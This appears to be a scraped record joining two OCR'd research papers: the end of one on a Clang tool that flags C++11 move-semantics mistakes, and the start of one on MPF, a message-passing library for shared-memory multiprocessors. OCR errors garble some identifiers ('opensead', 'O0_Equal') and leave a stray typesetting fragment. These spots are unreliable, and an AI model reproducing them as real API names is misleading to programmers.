// ...
};
class Derived : public Base
{
public:
Derived(const Derived& rhs); // copy ctor
Derived(Derived&& rhs); // move ctor
Derived& operator=(const Derived& rhs); // copy assignment
Derived& operator=(Derived&& rhs); // move assignment
// ...
};
Derived(Derived&& rhs) : Base(rhs) // wrong: rhs is an lvalue
{ // calls Base(const Base& rhs)
// Derived-specific stuff
}
Figure 3: Derived class from Base. Wrong move constructor.
Derived(Derived&& rhs) : Base(std::move(rhs)) // good: rhs is rvalue
{ // calls Base(Base&& rhs)
// Derived-specific stuff
}
Figure 4: Derived class from Base. Proper move constructor.
base subobject is copied instead of being moved. This is obviously against to the
programmer’s intention. As there is no syntax error in the code – just an unwanted
overload resolution – no diagnostic message will be emitted by the compiler.
The correct solution is given on Figure 4. Here the std::move call is used to
convert the named rhs variable to right value. We have to mention here, that
std::move has nothing to do with the moving of the objects, it is merely an lvalue
to rvalue conversion.
The situation in Figure 5 is similar. Here we implemented a templated swap op-
eration, which changes the values of the two parameters using a temporary variable.
In the implementation it is critical to write the std::move calls for the constructor
and for the assignments, because the variables a, b, tmp all have names. Without
template<class T>
void swap(T& a, T& b)
{
T tmp(std::move(a));
a = std::move(b);
b = std::move(tmp);
}
Figure 5: swap with move semantics.
int main()
{
std::set<X> s1;
s1.insert(X(1));
s1.insert(X(2));
std::vector<X> v1;
v1.push_back(X(1));
v1.push_back(X(2));
std::vector<X> v2; v2.resize(s1.size());
std::move(v1.begin(), v1.end(), v2.begin());
std::move(s1.begin(), s1.end(), v2.begin());
return 0;
}
Figure 6: Moving objects between containers
the lvalue to rvalue conversion using std::move all of them would be copied instead of being moved and the code would likely be executed slower than as assumed. As functions like swap are usually time critical, such performance degradations are considered as serious errors.
Given as the move semantic is relatively new in the C++ language, programmers tend to make similar mistakes. Moreover, there are situations, when mistakes related to move semantics are hidden deep in the code as we will see in the following example.
In the sample code on Figure 6 we have filled an std::vector container v1 and an std::set container s1 with moveable and copyable objects from the same class X. We then apply the std::move algorithm to move objects from the v1 vector and from the s1 set into the target container vector v2. The used three parameter
template<class InputIt, class OutputIt>
OutputIt move(InputIt first, InputIt last, OutputIt d_first)
{
while (first != last)
{
*d_first++ = std::move(*first++); // (*)
}
return d_first;
}
Figure 7: Implementation of std::move.
version of the std::move algorithm is a simple loop iteration over the interval defined by the first two parameters and applying (one parameter) std::move for the current element to move it to the target compiler defined by the third parameter as we seen on Figure 7. This standard algorithm is exactly the suggested tool for moving instead of copying objects from one container to an other.
Moving objects between the two vectors will work as we expected, using the implemented move assignment operator of class X. Surprisingly, the same algorithm will copy the objects from the set container to the vector using the copy assignment operator of class X.
To understand the reasons, first we have to consider that std::set is an associative container, i.e. objects are stored in ordered manner. For sets, the ordering key is the whole object. Therefore, modification of objects in sets are forbidden – we don’t want their changed key values be inconsistent to their storing position. Thus, objects in sets behave like constants. To ensure that behavior, both set::iterator and set::const_iterator types refer to constant objects. The expression *first++ at (*) on Figure 7 therefore is a reference to a constant object of type X which is convertible to const X& (copy semantics) but do not convertible to X&& (move semantics). As their move assignment operator is unavailable, objects in the set will be copied to the vector.
We want to emphasize, that the same algorithm, std::move, worked completely different way when applied to different containers. No diagnostics message was emitted, the code compiled and worked in an unintentional way. To make the situation even harder to detect, the actual copy operations happened in a standard library function.
Our method and prototype tool is analyzing such issues to detect unintentional copy operations, like those in the mentioned example.
3 Attribute-based annotations and checking
In C++11 a new feature has been introduced to able the programmers to annotate the code, and to support more sophisticated domain-specific language integration
template<class T>
void swap(T& a, T& b)
{
[[move]] T tmp(std::move(a));
[[move]] a = std::move(b);
[[move]] b = std::move(tmp);
}
Figure 8: The `swap` function with annotated statements.
template<class T>
[[move]]
void swap(T& a, T& b)
{
T tmp(std::move(a));
a = std::move(b);
b = std::move(tmp);
}
Figure 9: The annotated version of the `swap` function.
without modifying the C++ compiler [13, 14]. The new feature is called generalized attributes [10, 12]. Currently this is rarely used, because the lack of standard custom attributes, but it is a great extension opportunity in the language.
Most important C++ compilers, like GNU g++ and the Clang compiler (which is a C++ frontend for the LLVM [9, 11]) parse the generalized attributes, binds to the proper Abstract Syntax Tree (AST) node even if Clang displays a warning, because all generalized attributes are ignored for code generation. Even if the attributes are ignored for code generation, they are included in the abstract syntax tree, and they can be used for extension purposes. In our case, we will annotate functions and statements about the expected copy/move semantics. For example, the original code in Figure 5 can be annotated with the `[[move]]` attribute as can be seen in Figure 8.
Though, the statements are validated correctly, the annotations are redundant and every line starts with the same `[[move]]` attribute. To avoid this, the whole function can be annotated as can be seen in Figure 9. Annotating the whole function changes the default semantics of the statements inside the function – the unannotated functions have copy semantics by default.
Our validator tool use two different annotations: `[[move]]`, and `[[copy]]`. To determine the expected semantics of a statement needed the default behavior of the function (which defaults to `[[copy]]` in the most cases, but it can be overridden), and the optional statement annotation. If the statement does not have annotations, then the semantics of the statement is the same as the semantics of the function.
If the statement contains e.g. a constructor call, then the tool checks whether the proper constructor call is made. When not the proper constructor is called, then the tool displays a diagnostic message. Furthermore, our tool validates the implementation of the move constructors. As can be seen in Figure 4, easy to make mistakes in the move constructor. As to prevent these errors, the tool sets the default semantics of the move constructors to \([\text{move}]\) instead of \([\text{copy}]\).
Note that, the built-in types, like \texttt{int} and \texttt{long} do not have constructors, so the tool will allow to copy primitive types even if the \([\text{move}]\) attribute is set. This decision is based on the fact, that there is no fundamental performance difference between moving or copying elementary built-in types.
The main algorithm of our prototype tool is based on the AST visitor mechanism provided by the \texttt{RecursiveASTVisitor} in the Clang. The visitor functions in the \texttt{RecursiveASTVisitor} class can be overridden to implement custom mechanisms. Each function in the visitor class is invoked for the specific AST nodes.
The implementation of our tool includes the overriding the specific visitor functions for the following AST nodes:
- \texttt{CXXConstructorDecl}: defines a new semantic context, which can be either \texttt{copy} or \texttt{move}, depending on the constructor type and attribute (constructors are handled differently than function declarations).
- \texttt{FunctionDecl}: defines a new \texttt{copy} semantic context by default, unless attribute is set (except when the function declaration is a constructor).
- \texttt{CXXCtorInitializer}: used to validate constructor semantics.
- \texttt{CXXOperatorCallExpr}: used to validate assignment semantics.
- \texttt{CallExpr}: check the usage of the 1-parameter \texttt{std::move} function.
The role of the semantic context mentioned in at the \texttt{CXXConstructorDecl} and the \texttt{FunctionDecl} is to set whether validate the constructor initializers and the assignments or not. In the \texttt{move} the semantic context, our tool checks every
constructor initializers and the assignments to make sure all of them uses the move semantics. If not, then it will be reported. In the copy the semantic context no validation are made.
Furthermore, in the visitor functions we can use the actual AST node to gather information. The CXXCtorInitializer and the CXXOperatorCallExpr AST nodes hold information related to the move semantics. For example, starting from a CXXOperatorCallExpr node, we can get whether the used constructor is move constructor or not. The CXXOperatorCallExpr can be tighten to assignments, and we can get information about the called assignment operator.
The latest development in the tool is the CallExpr validation mechanism. The idea came from the fact, the 1-parameter std::move is a function, with a proper return value. In order to safely move the value, the returned value of the std::move must satisfy the following: the returned value must be x-value, but must not be const qualified. The relationship of the value types can be seen in Figure 10. The Clang sets the x-value property for all expressions which can be moveable, however, the Clang handles the const qualifier orthogonally.
The FunctionDecl class provides an attribute enumeration feature via the attr_begin() and attr_end() functions. The Clang AST does not make a difference of the "old" attribute notation and the generalized attributes. This is a known glitch in the Clang parser.
In order to handle our attributes in a standard way, we had to patch the Clang’s parser. According to the documentation [18] we added two new attributes called CopySemaExt and MoveSemaExt to the Attr.td file. The build process generates C++ classes from the descriptions. The reason to make separate attributes for copy and move semantics is to check for the attributes easily with hasAttr<T>() function.
The inserted lines can be seen in Figure 11. Moreover, we placed some "boilerplate" code into the attribute processing mechanism. This is a mandatory code to tell the Clang how the attributes must be processes during the compilation. Our new attributes are simple attributes, the only requirement is to appear in the AST with an individual AST node. The affected lines which are inserted into the ProcessDeclAttribute() function in the SemaDeclAttr.cpp file can be seen in Figure 12. In the current implementation we used an additional sem namespace to separate our attributes from the existing ones.
The constructor type can be determined with the isMoveConstructor() method in the CXXConstructorDecl class. If the visited constructor is a move constructor, then the move semantic mode is pushed. In case of the visited constructor is not a move constructor, then the copy semantic mode is pushed.
The only relevant information of the visited CXXCtorInitializer is the initializer. The structure of the initializer expression provides information about the used semantics. The returned value of the getInit() function is a common expression, but it can be a CXXConstructExpression, which is a constructor call expression. The called constructor must be a move constructor for move semantics mode, but only if the initialized type is not a built-in type.
The tool validates the assignments via the visited CXXOperatorCallExpr nodes.
def MoveSemaExt : Attr {
let Spellings = [CXX11<"sem", "move">];
let Documentation = [Undocumented];
}
def CopySemaExt : Attr {
let Spellings = [CXX11<"sem", "copy">];
let Documentation = [Undocumented];
}
Figure 11: The additional lines at the end of Attr.td.
case AttributeList::AT_MoveSemaExt:
handleSimpleAttribute<MoveSemaExtAttr>(S, D, Attr);
break;
case AttributeList::AT_CopySemaExt:
handleSimpleAttribute<CopySemaExtAttr>(S, D, Attr);
break;
Figure 12: The additional lines in the ProcessDeclAttribute() function.
The assignments can be filtered by checking the return value of the getOperator() for the value O0_Equal. After selecting the relevant operators, the algorithm checks the right-hand side expression of the assignment. In case of move semantics, this expression must be an x-value and must not be const qualified.
The summarized algorithm is the following:
1. For each visited constructor and method: push the current semantic mode, and set up a new one. The new context can be either copy or move, depending on the attributes or the default mode.
2. For each constructor initializer: check whether the initializer expression meets the current semantic mode – in case of move semantics we require a move constructor call for non built-in types.
3. For each operator call: in case of move semantics we require an x-value for right-hand side expression. In the current prototype implementation we check only when getOperator() returns O0_Equal.
In the earlier paper [3] we focused on attribute-based checks, but open source projects are not using the introduced attributes. We needed an alternate approach to apply the tool on large code base.
The first remark is related to the move constructors and the move assignments. Our algorithm handles these functions differently by providing implicit move semantic context. This means, the programmer does not have to explicitly mark
void f()
{
std::vector<X> sv(4); sv.push_back(X());
}
Figure 13: push_back() guarded by the [[move]] attribute
these functions to use the move semantic context. Thus, the number of the potentially required attributes is minimal. In fact, only a few special functions need the [[move]] attribute – for example the 3-parameter std::move function which improper use can be seen in Figure 6.
The second remark is a modification in the algorithm. We noticed that, the use of the 1-parameter std::move does the most of the work. We can gather every meaningless std::move calls, if the result type of the call is not moveable. This change does not affect the other parts of the algorithm, because this uses the CallExpr AST node. Therefore, all call expressions which calls the std::move, and the result value is not moveable, are reported by our tool as "Suspicious move".
The misuse of the 3-parameter std::move are reported by the tool, so the usage of the [[move]] are not required here. Hence, the usage of the [[move]] attribute is only needed in very special cases. For example, the usage of the std::vector requires some attention, because the move constructor and the move assignment operator will not be used when the noexcept is missing from its declarations. However, an explicit [[move]] attribute can be useful, for instance the code snippet in Figure 13.
4 Evaluation
In the sample code in Figure 6 we used an annotated version of std::move to validate the semantics. To require move semantics in std::move we used the [[move]] annotation.
After running the tool on the modified code, the tool detected the misuse of the std::move:
Copy assignment found instead of move assignment, xvalue=1, const=1
The error message describes the problem, and the reasons as well. In the example above, the problem with the assignment is the fact the right-hand side of the assignment cannot be moved. Even it is an x-value, but it has a constant qualifier. Therefore the assignment does not satisfy the required move semantics.
In the sample code in Figure 3 the move constructor of the Derived class is wrong. Our tool can detect this kind of errors, and gives a message:
Copy constructor found instead of move constructor
template<class T>
[[sem::move]]
void swap(T& a, T& b)
{
T tmp(a); // (*1)
a = b; // (*2)
b = std::move(tmp);
}
Figure 14: swap with wrong move semantics.
A intentionally wrong code can be seen in Figure 14, which is a modified version of the code seen in Figure 5. If we remove the lvalue to rvalue conversion with std::move in the line marked with (*1) in Figure 14, the tool displays the expected diagnostics message:
Copy constructor found instead of move constructor
If we also remove the lvalue to rvalue conversion with std::move in the next line marked with (*2) the tool also detect the error:
Copy assignment found instead of move assignment, xvalue=0, const=1
However, the usage of the [[move]] attribute is decreased since the first version of our tool. In the current version, the attribute is required only in some special cases to confirm the move semantics. One of these special cases can be seen in Figure 13. That small code snippet will copy every elements in the vector, when the noexcept is not present at the move constructor of the X class. The reason is clear: the std::vector will not use the move constructor if it is not noexcept – but the copy constructor will be used instead.
As we added extra functionality to the Clang parser, we have to consider the possible increasing of parsing time. However, the overhead during the parsing was not measureable. During the check we have two additional activities: step 1: the parsing of the generalized attributes, and step 2: evaluating of the copy/move semantics for a certain operation.
Step 1 is linearly bounded by the source size. During the evaluation of step 2 we do not descend recursively through the whole call-chain, but evaluate only on the first level copy/move operations. Therefore, we evaluate all functions only once. This is also linearly bounded by the source size. Template instantiations are evaluated for each specializations. However, this is linearly bounded by the normal template specialization generation activity of the compiler.
We measured the run time of the tool on a small part of the Clang. The original compilation time was 635,13 seconds. During the second run we inserted our checker program into the toolchain. The measured time was 637,39 seconds. The overhead is barely measureable: 2,26 second, which is less than 0,4 percent.
The tool is available as a public domain software, and downloadable from [4].
5 Future work
An outcome of our research is that, the presence of additional semantic information can be useful for the compiler. In this case, the knowledge of which operations require move semantics can help to prevent the programmer to do mistakes. And these mistakes lead to huge runtime difference since the overhead of the copy operations.
In other languages, other kind of semantic information can be found. For example, our experimental programming language, called Welltype. This language is an imperative programming language with strict syntax and strong static type system. The offered strict syntax is designed to lower the number of errors due to misspelling, and the semantics can prevent numerous malicious constructions, such as implicit casts. Thus, the control flow can be easily followed at source level.
Also, the Welltype handles the difference between pure and impure functions. This information is stored in the compiled binary, and it is used by the dynamic loader when a program refers to an other function – for example when the program imports a function.
Furthermore, only pure functions or expressions can be used in some constructions, such as assertions, pre- and post-conditions. The reason is very clear: when the compiler excludes the assertions, then the behavior of the program could be different, when the expression has side-effect. However, in Welltype the expressions used in assertions must be pure expressions – which means, only pure functions can be called. This restriction can prevent serious vulnerabilities.
We are also plan to extend our automatic checking for C++ move semantics. Since our method can be integrated into the compiler itself, thus the "3rd party tool" problem can be solved. The compiler traverses the whole AST during the compilation, and can optionally execute the sufficient move semantics checking when a certain command line parameter is set.
Furthermore, we are investigating the possibilities of the comparison-analysis at language level. The first approach is to measure the depth of nested loops. The second step is to identify definite loops – it is hard to detect loops with "read-only" loop variable (the variable must be incremented/decremented in the step part of the loop). Note that, these problems appear in code validation process too, because the understandable loops are important in programming.
All of the features in this paper will be implemented in our experimental programming language, called Welltype. This language supports generalized attributes as well, and the attributes can be used by the programmer – the attributes are read-only at runtime, and the dynamic program loader checks their values at link time, whether are matching with the import- and export specification.
6 Conclusion
In this paper we introduced a new method to reveal the possible misuse of the C++11 move semantics. As copy operations may determine the runtime perfor-
mance of the C++ programs, unintended use of them may have serious negative effect on the runtime performance.
We shortly described the C++ move semantics, and their positive effects on the programs. The C++ move semantic is a relatively new language level enhancement for optimizing the program execution avoiding unnecessary copy operations. Unfortunately, it is easy to make mistakes when working with move semantics. Many operations intended to use move semantics, in fact, apply expensive copy operations instead. Our method targets such mistakes, making operations planned for move semantic marked explicitly by C++11 annotations and checking their implementations for unwanted copy actions.
We implemented our method as a prototype tool to detect copy/move semantic errors in C++ programs. Our tool can deal with both regular operators or functions and constructors. The execution time of our tool is linearly depends on the size of the source code. We recognized that, the functionality of our tool can be integrated into the compiler, and the overhead of detecting copy/move semantics errors can be further decreased. Furthermore, we are intended to implement the same functionality in our experimental programming language, called Welltype.
References
|
{"Source-Url": "https://cyber.bibl.u-szeged.hu/index.php/actcybern/article/download/3866/3850", "len_cl100k_base": 7253, "olmocr-version": "0.1.50", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 34919, "total-output-tokens": 9152, "length": "2e12", "weborganizer": {"__label__adult": 0.0003464221954345703, "__label__art_design": 0.00027561187744140625, "__label__crime_law": 0.00025773048400878906, "__label__education_jobs": 0.00024330615997314453, "__label__entertainment": 4.631280899047851e-05, "__label__fashion_beauty": 0.00012755393981933594, "__label__finance_business": 0.00014388561248779297, "__label__food_dining": 0.0003116130828857422, "__label__games": 0.0003960132598876953, "__label__hardware": 0.0008549690246582031, "__label__health": 0.0002980232238769531, "__label__history": 0.00017511844635009766, "__label__home_hobbies": 6.93202018737793e-05, "__label__industrial": 0.0002982616424560547, "__label__literature": 0.00016057491302490234, "__label__politics": 0.00020956993103027344, "__label__religion": 0.0003981590270996094, "__label__science_tech": 0.00582122802734375, "__label__social_life": 5.3048133850097656e-05, "__label__software": 0.0036220550537109375, "__label__software_dev": 0.98486328125, "__label__sports_fitness": 0.0002503395080566406, "__label__transportation": 0.0004584789276123047, "__label__travel": 0.0002007484436035156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 37486, 0.01755]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 37486, 0.69827]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 37486, 0.85406]], "google_gemma-3-12b-it_contains_pii": [[0, 2225, false], [2225, 5300, null], [5300, 8560, null], [8560, 10610, null], [10610, 12302, null], [12302, 13650, null], [13650, 16001, null], [16001, 18076, null], [18076, 20232, null], [20232, 23510, null], [23510, 25502, null], [25502, 27735, null], [27735, 30179, null], [30179, 33126, null], [33126, 35608, null], [35608, 37486, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2225, true], [2225, 5300, null], [5300, 8560, null], [8560, 10610, null], [10610, 12302, null], [12302, 13650, null], [13650, 16001, null], [16001, 18076, null], [18076, 20232, null], [20232, 23510, null], [23510, 25502, null], [25502, 27735, null], [27735, 30179, null], [30179, 33126, null], [33126, 35608, null], [35608, 37486, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 37486, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 37486, null]], "pdf_page_numbers": [[0, 2225, 1], [2225, 5300, 2], [5300, 8560, 3], [8560, 10610, 4], [10610, 12302, 5], [12302, 13650, 6], [13650, 16001, 7], [16001, 18076, 8], [18076, 20232, 9], [20232, 23510, 10], [23510, 25502, 11], [25502, 27735, 12], [27735, 30179, 13], [30179, 33126, 14], [33126, 35608, 15], [35608, 37486, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 37486, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
ceead96fb55e6ac8d5e22c78f3bdab8d298ce2ef
|
This paper presents the design, implementation and performance evaluation of a message passing facility (MPF) for shared memory multiprocessors. MPF is based on a message passing model conceptually similar to conversations. Participants (parallel processes) can enter or leave a conversation at any time. The message passing primitives for this model are implemented as a portable library of C function calls. MPF is currently operational on a Sequent Balance 21000, and several parallel applications have been developed and tested. We present several simple benchmark programs to establish interprocess communication performance for common patterns of interprocess communication. Finally, we present performance figures for two parallel applications, linear systems solution and iterative solution of partial differential equations.
1. Introduction
Historically, programming models for parallel processing have largely been architecture dependent. The absence of shared memory, for example, typically promotes message passing as a computing paradigm. In contrast, software for shared memory multiprocessors encourages the use of shared variables for inter-process communication and synchronization. Although the reflection of the underlying architecture in the programming support software encourages efficient use of the hardware, it constrains the programmer to a single world view. Because certain algorithms are naturally expressed in either shared memory or message passing forms, the programmer is forced to adapt the algorithm formulation to the available programming model. Unfortunately, this adaptation may incur a substantial performance penalty.
Snyder [Snyd86] has argued eloquently that we must develop a suitable set of type architectures that elide unnecessary architectural details while retaining those necessary to reflect the performance constraints imposed by the hardware. These type architecture abstractions would, for example, permit an algorithm designer to accurately estimate the performance penalties when moving from one type architecture to another. Unfortunately, no such abstractions and performance models yet exist.
To investigate the performance tradeoffs between the shared memory and message passing paradigms, we have used the existing primitives on a shared memory machine to develop a message passing facility. With the versatility of shared memory machines, the message passing primitives are easily implemented. In contrast, realizing the functionality of shared memory on message passing architectures is considerably more
difficult.\(^1\)
This paper presents the design, implementation and performance of a general message passing facility (MPF) for shared memory multiprocessors. As stated earlier, the motivation for this work is not merely to produce a message passing implementation, but also to explore the problems and performance penalties of cross-architecture algorithm ports. esh 1 "The MPF Message Passing Model"
To assess the advantages, disadvantages, and performance penalties of message passing on a shared memory architecture, it is crucial that the implementation be based on a fully general message passing model. Hence, the MPF message passing model is generic, independent of that supported by any vendors of message passing machines (e.g., Intel [Ratt85]). We develop the notion of *logical, named virtual circuits* as a basis for the MPF message passing semantics.
A virtual circuit is, according to standard definition, a *logical* connection between two communicating entities; the physical realization is unspecified. In the MPF model, the communicating entities are *sets* of processes whose membership can change during the lifetime of a virtual circuit. Because processes can join or leave virtual circuits, messages are directed to a virtual circuit, not individual participants. By defining names for virtual circuits, participants can join or leave the associated *conversations* [CoPe86]; clearly, these mutually selected names must be unique. The resulting abstraction is a logical, named virtual circuit (LNVC).
It is important to understand that LNVC's provide a fully general communication paradigm. Conversations, by analogy with everyday life, include dialogue, group
\(^1\) This asymmetry is the crux of the type architecture notion.
discussions, and lectures. Equivalently, LNVC's support both bi-directional and unidirectional communication with two or more participants. To permit specification of a particular conversation type, we must define communications protocols for LNVC's.
Each process that is a member of an LNVC conversation is either a message sender or receiver, or both; see Figure 1. Message receivers identify themselves as FCFS (first-come, first-serve) or BROADCAST when they join the conversation. If there is a single message receiver in a conversation, FCFS and BROADCAST are equivalent. However, when multiple message receivers exist, only one FCFS receiver will receive each message. In contrast, all BROADCAST receivers receive all messages. Both FCFS and BROADCAST receivers can exist simultaneously during a conversation. In this case, however, a message will be sent to all BROADCAST receiving processes and to only one of the FCFS processes.
Justification for this LNVC model comes from two sources: conversation-based electronic mail [CoPe86] and distributed variables [Debe86]. Like LNVC's, conversation-based mail permits participants to enter or leave the discussion at their discretion.
In contrast, distributed variables arose as a programming paradigm for message passing systems. Intuitively, a distributed variable exists in a name space that is global to the processes but accessible only by a message passing protocol with associated read and write operations. In addition, a set of process interaction rules describes the semantically valid operations for each type of distributed variable. Like LNVC's, a distributed variable permits multiple readers and writers.
---
2 An LNVC exists only if the set of senders or receivers is not null.
3 The only restriction is that a receiving process of an LNVC cannot use both FCFS and BROADCAST protocols.
2. MPF Programming Environment
The user interface to the MPF message passing environment is a library of high-level interface routines for LNVC management, protocol establishment and message transfer. Because our current implementation is based on the C programming language, the MPF programming primitives are defined below as C function calls.
\begin{verbatim}
init (max_LNVC's, max_processes)
opensead (process_id, lnvc_name)
openreceive (process_id, lnvc_name, protocol)
closesend (process_id, lnvc_id)
closereceive (process_id, lnvc_id)
message_send (process_id, lnvc_id, send_buffer, buffer_length)
message_receive (process_id, lnvc_id, receive_buffer, buffer_length)
checkreceive (process_id, lnvc_id)
\end{verbatim}
\textit{Init()} is the initialization routine for MPF. Most architecture specific initialization and allocation are done here. In particular, shared memory is allocated for LNVC's and synchronization variables are initialized for exclusive access to internal data structures. The parameters \textit{max_LNVC's} and \textit{max_processes}, the maximum number of LNVC's and processes, respectively, are used to estimate the amount of shared memory necessary.
\textit{Open_send()} establishes a send connection for the process \textit{process_id} on the LNVC \textit{lnvc_name}. If \textit{lnvc_name} did not previously exist, it is created. The integer returned by \textit{open_send()} is MPF's internal LNVC identifier for \textit{lnvc_name}. This identifier must be used in the \textit{message_send()} and \textit{close_send()} routines.
Open_receive() establishes a receive connection for the process process_id on the LNVC lnvc_name with the communication protocol protocol (FCFS or BROADCAST). Again, if lnvc_name did not previously exist, it is created. An integer return value specifies MPF's internal LNVC identifier for lnvc_name for use in close_receive(), message_receive() and check_receive().
Close_send() and close_receive() remove send and receive connections, respectively, for process process_id on LNVC lnvc_id. If this is the last process connected to lnvc_id, the LNVC is deleted and all unread messages are discarded.
Message_send() transfers a message from process process_id to the LNVC lnvc_id. The contents are taken from (char *) send_buffer and the message length is buffer_length bytes. Message sending is asynchronous, allowing a process to proceed before the message reaches its destination(s). Message_receive() transfers a message from LNVC lnvc_id to the process process_id into the receive buffer starting at (char *) receive_buffer. Buffer_length is set to the number of bytes transferred. Message_receive() is blocking; it returns only after a message has been received.
Check_receive() allows process process_id to check for the existence of any messages in LNVC lnvc_id. A non-zero return value indicates the existence of a message. If the receive connection is BROADCAST, the message is guaranteed to be present when a message_receive() is executed. However, a process with a FCFS receive connection must use check_receive() with caution. Although check_receive() may indicate that a message is present, another process with a FCFS receive connection for lnvc_id may acquire the message before the checking process can receive the message.
These MPF programming primitives provide the user a high-level interface to the MPF message passing model. The following section describes the implementation of the
MPF programming environment for a shared memory multiprocessor system.
3. MPF Implementation
Intuitively, one would expect a significant performance and programming overhead to realize LNVC conversations. Our implementation experience on a Sequent Balance 21000 suggests that this is not the case. The MPF run-time support is only a few hundred lines of C code, and the only system dependent code involves shared memory allocation and synchronization. MPF could be easily ported to any system providing these facilities. The remainder of this section describes the underlying MPF implementation and the motivation for the choice of MPF primitives.
3.1. Data Structures
Dynamically linked data structures are used extensively in the MPF implementation for programming flexibility. The fundamental data structure is the MPF message. During MPF initialization, a free list of linked message blocks is created in shared memory. Space allocated from this free list is used for messages during program execution. Messages are composed of linked message blocks together with a header for saving pertinent message information (e.g., message length, a pointer to the tail, and a pointer to the next message in a list of messages for an LNVC). During execution of a message_send(), the sending buffer is copied into the message block data fields. The message is then copied into the receiving buffer as part of the message_receive() operation.
* In all of our experiments, 16 byte message blocks were used.
The key MPF design problem was identifying an effective data structure for an LNVC. Virtual circuits provide time-ordered message delivery [Tane81]. LNVC's behave similarly. Because shared memory multiprocessors provide a global clock and access to message buffers is serialized by synchronization primitives, most complications arising in a distributed memory context are avoided. A time-ordered message stream will be seen by all BROADCAST receiving processes. In contrast, a FCFS receiving process will see only a part of the message stream. However, the sequence preserving LNVC forces a time-ordering of this sub-stream as well.
Clearly, a FIFO queue suffices to maintain sequentiality of messages between sending and receiving processes. However, each BROADCAST receive process must have its own head pointer, and the FCFS receive processes must share a head pointer. Figure 2 illustrates one possible state of an LNVC with FCFS and BROADCAST receive processes. Hence, an LNVC descriptor contains the LNVC name, its internal identifier, the number of queued messages, a FIFO queue implemented as a linked list of messages, a FIFO tail pointer for sending processes, a FIFO head pointer for FCFS receiving processes, a description of all connections to the LNVC, and a synchronization lock for mutual exclusive access to the LNVC descriptor. The LNVC connections are represented by send descriptors and receive descriptors, which contain the process identifier of the connected process. BROADCAST receive processes have an additional descriptor field used for individual FIFO head pointers. Like message blocks, LNVC, send, and receive descriptors are linked into free lists when not in use.
3.2. Programming Primitives
The constraints necessary to insure consistent and efficient access to the MPF data structures by concurrently executing processes, dictate the implementation of the MPF
programming primitives. Rather than describing the details of data structure manipulation and process mutual exclusion, we focus on two of the interesting design issues that arose during the implementation.
Implementing the LNVC close operations raises the fundamental question of LNVC lifetime. We generally regard an LNVC as existing only when there is a connected sending or receiving process; the current implementation is based on this principle. The semantics of the close operations state that the entire LNVC FIFO structure is discarded, including messages, if the closed sender or receiver process is the last one connected to the LNVC. However, this implementation decision has ramifications on process interaction. Some care must be taken to ensure that messages will not be lost due to unconnected processes. For instance, a sending process might want to open a send connection on an LNVC, send some messages, and then close the connection. However, if none of the processes intending to receive these messages have established a receiver connection before the closing of the sender connection, the messages could be lost when the LNVC is removed.
The close receive operation poses a particularly vexing problem. If the FIFO head pointer for a receiving process is pointing to the head of the FIFO message list and the receiver connection is closed, all messages unread by the receiver but read by all other connected receiver processes must be deleted. Unfortunately, it is difficult to determine which messages should be deleted without comparing the FIFO head pointers of all receiving processes with the starting address of each message considered.
4. MPF Experiments
To investigate the ease of use and the performance of MPF, we developed several test programs for the Sequent Balance 21000 [Sequ86]. All experiments were conducted on a machine containing 20 processors and 16 Mbytes of memory. Each Balance 21000 processor is a 10 MHz National Semiconductor NS32032 microprocessor, and all processors are connected to shared memory by a shared bus with a 80 Mbyte/s (maximum) transfer rate. Each processor has a 8K byte, write-through cache and an 8K byte local memory; the latter contains a copy of selected read-only operating system data structures and code.
With MPF on the Balance 21000, parallel programs consist of a group of Unix processes that interact using LNVC's. The shared memory used by MPF is implemented by mapping a region of physical memory into the virtual address space of each process.
Our initial experiments concentrated on verifying the LNVC implementation and establishing performance benchmarks for simple message transfer configurations. To test MPF's performance in a parallel program, we developed a message based version of the Gauss-Jordan algorithm (with partial pivoting) for solving linear systems. As an additional test, we implemented a successive over-relaxation (SOR) algorithm for solving Poisson's equation, an elliptic partial differential equation. Each of these tests is discussed in detail below.
Perhaps the simplest performance test is the throughput of an LNVC consisting of one sender and one receiver. To determine the LNVC throughput, measured in bytes per second, we designed a simple program, base, that establishes a loop-back connection through an LNVC for a single process, and then alternates between sending and receiving fixed-length messages. Figure 3 shows the performance as a function of message length.
Although throughput increases with increasing message length, it approaches an asymptote. Detailed measurements show that, for large messages, LNVC updates are of negligible cost. Instead, message copying costs dominate; memory bandwidth is the performance limiting factor.
Although the base benchmark defines the byte transfer rate limit between a sender and one receiver of an LNVC, typical applications involve many processes. The message transfer rate for parallel programs depends on the relative amounts of FCFS and BROADCAST communication. However, it is possible to compare the performance of a set of parallel processes that use FCFS LNVC's to a similar set using BROADCAST LNVC's.⁵ Hence, we developed two synthetic parallel programs, fcfs and broadcast. The program fcfs uses one process to send messages of length K to an LNVC with N FCFS receiving processes. The program broadcast is similar except the receiving processes are of type BROADCAST. Figures 4 and 5 show the message transfer rates for fcfs and broadcast, respectively.
